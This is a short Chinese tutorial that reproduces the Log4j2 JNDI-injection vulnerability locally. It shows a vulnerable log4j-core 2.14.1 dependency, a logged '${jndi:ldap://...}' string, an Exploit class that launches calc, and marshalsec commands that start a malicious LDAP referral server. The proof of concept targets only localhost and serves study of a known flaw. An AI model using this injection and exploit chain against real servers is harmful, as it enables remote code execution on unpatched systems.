手把手教你复现Log4j2漏洞
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:8888/Exploit}");
}
}
class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
javac exp.java
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888
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